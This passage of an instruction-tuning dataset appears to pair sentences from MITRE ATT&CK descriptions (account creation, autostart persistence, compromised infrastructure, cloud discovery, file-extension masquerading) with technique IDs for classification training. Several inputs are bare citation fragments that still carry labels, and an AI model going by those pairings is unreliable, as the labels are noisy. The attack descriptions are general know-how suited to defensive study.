Kali Redsnarf)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a cloud account to maintain access to victim systems.", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a cloud account to maintain access to victim systems. ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation:", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation:", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users) ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection. ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003). ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a local account to maintain access to victim systems.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a local account to maintain access to victim systems. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS systems the <code>dscl -create</code> command can be used to create a local account.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS systems the <code>dscl -create</code> command can be used to create a local account. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security) ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a domain account to maintain access to victim systems.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a domain account to maintain access to victim systems. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts can cover user, administrator, and service accounts.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts can cover user, administrator, and service accounts. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, the <code>net user /add", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a sufficient level of access, the <code>net user /add ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/domain</code> command can be used to create a domain account.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /domain</code> command can be used to create a domain account. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create an account to maintain access to victim systems.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create an account to maintain access to victim systems. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Accounts may be created on the local system or within a domain or cloud tenant.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Accounts may be created on the local system or within a domain or cloud tenant. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "XDG Autostart entries are available for any XDG-compliant Linux system.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: XDG Autostart entries are available for any XDG-compliant Linux system. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation:", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Free Desktop Entry Keys)", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Free Desktop Entry Keys) ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022) ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party servers that can be used during targeting.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party servers that can be used during targeting. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of servers allows an adversary to stage, launch, and execute an operation.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of servers allows an adversary to stage, launch, and execute an operation. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to enumerate the cloud services running on a system after gaining access.", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to enumerate the cloud services running on a system after gaining access. ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS).", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc.", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs. ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover information about the services enabled throughout the environment.", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover information about the services enabled throughout the environment. ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation:", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure AD Graph API)", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure AD Graph API) ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu) ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).", "output": "T1526", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008). ### Response: T1526."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can hide a program's true filetype by changing the extension of a file.", "output": "T1151", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can hide a program's true filetype by changing the extension of a file. ### Response: T1151."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.", "output": "T1151", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. ### Response: T1151."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute.", "output": "T1151", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. ### Response: T1151."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary).", "output": "T1151", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). ### Response: T1151."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).", "output": "T1151", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). ### Response: T1151."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "output": "T1151", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. ### Response: T1151."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.", "output": "T1018", "text": 